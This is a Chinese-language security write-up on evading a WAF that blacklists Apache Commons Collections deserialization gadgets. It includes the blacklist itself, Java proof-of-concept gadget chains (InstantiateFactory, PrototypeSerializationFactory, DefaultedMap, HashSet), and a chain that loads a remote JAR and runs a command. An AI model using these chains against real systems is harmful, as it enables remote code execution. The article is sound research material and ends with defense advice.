CC链再次挖掘
字数 1499 2025-08-22 18:37:22
Apache Commons Collections 反序列化漏洞深入分析与利用
1. 背景与WAF分析
文章首先展示了一个针对Apache Commons Collections (CC)反序列化漏洞的WAF配置:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<blacklist>
<!-- ysoserial's CommonsCollections1, 3, 5, 6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.commons\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2, 4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
</config>
这个WAF主要拦截了常见的Transformer实现类,因此需要寻找新的利用链和绕过方式。
2. 关键类分析
2.1 FactoryTransformer
FactoryTransformer是一个关键的替代类,其transform方法可以调用iFactory.create():
public Object transform(Object input) {
return iFactory.create();
}
通过控制iFactory,可以实现恶意利用。特别适合与InstantiateFactory配合使用。
2.2 InstantiateFactory
InstantiateFactory的create方法可以实例化类,类似于InstantiateTransformer:
public Object create() {
if (iConstructor == null) {
findConstructor();
}
try {
return iConstructor.newInstance(iArgs);
} catch (InstantiationException ex) {
// ...
}
}
2.3 利用POC示例
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory = new InstantiateFactory(
TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
HashMap map = new HashMap();
LazyMap lazymap = (LazyMap) LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "ljl");
setFieldValue(lazymap, "factory", factoryTransformer);
lazymap.remove("123");
2.4 PrototypeSerializationFactory
PrototypeFactory的静态内部类PrototypeSerializationFactory可以实现二次反序列化:
public Object create() {
ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
ByteArrayInputStream bais = null;
try {
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(iPrototype);
bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream in = new ObjectInputStream(bais);
return in.readObject();
} // ...
}
通过反射可以设置iPrototype:
Class c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor constructor = c.getDeclaredConstructor(Serializable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(hashMap);
2.5 ReflectionFactory
MultiValueMap的静态类ReflectionFactory可以实例化类,但只能调用无参构造方法,利用价值有限。
2.6 CloneTransformer
CloneTransformer的transform方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
return PrototypeFactory.getInstance(input).create();
}
最终调用的是无参的clone方法,利用条件较为苛刻。
3. 其他利用方式
3.1 execute和evaluate方法
ClosureTransformer的transform方法调用executeTransformerClosure的execute方法又调用transformTransformedPredicate的evaluate方法调用transform
这些方法形成了循环调用,难以直接利用。
3.2 SwitchTransformer
可以替代ChainedTransformer实现循环调用:
public Object transform(Object input) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(input) == true) {
return iTransformers[i].transform(input);
}
}
return iDefault.transform(input);
}
3.3 DefaultedMap
类似于LazyMap,触发get方法:
public Object get(Object key) {
if (map.containsKey(key) == false) {
if (value instanceof Transformer) {
return ((Transformer) value).transform(key);
}
return value;
}
return map.get(key);
}
利用链示例:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
DefaultedMap.get()
ChainedTransformer.transform()
...
3.4 通过hashCode利用
利用HashSet的readObject调用HashMap的put方法,进而触发hashCode:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...
示例POC:
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
// 通过反射修改HashSet内部Map的key
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
4. 高级利用技巧
4.1 远程加载JAR
通过URLClassLoader实现远程代码执行:
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{java.net.URL[].class}}),
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{new java.net.URL[]{new java.net.URL(url)}}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Z"}),
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new String[]{command}})
5. 防御建议
- 升级Apache Commons Collections到最新安全版本
- 使用更严格的WAF规则,不仅拦截Transformer类,还要拦截危险的方法调用
- 对反序列化操作进行严格限制,使用白名单机制
- 使用Java安全管理器限制敏感操作
6. 总结
本文详细分析了多种绕过CC链WAF的方法,包括:
- 使用
FactoryTransformer和InstantiateFactory替代被拦截的Transformer - 利用
PrototypeSerializationFactory实现二次反序列化 - 通过
DefaultedMap替代LazyMap - 利用hashCode触发链
- 远程加载JAR等高级技巧
这些技术展示了即使在被WAF拦截常见类的情况下,攻击者仍然可以通过寻找替代类和利用Java反序列化机制的特性来实现攻击。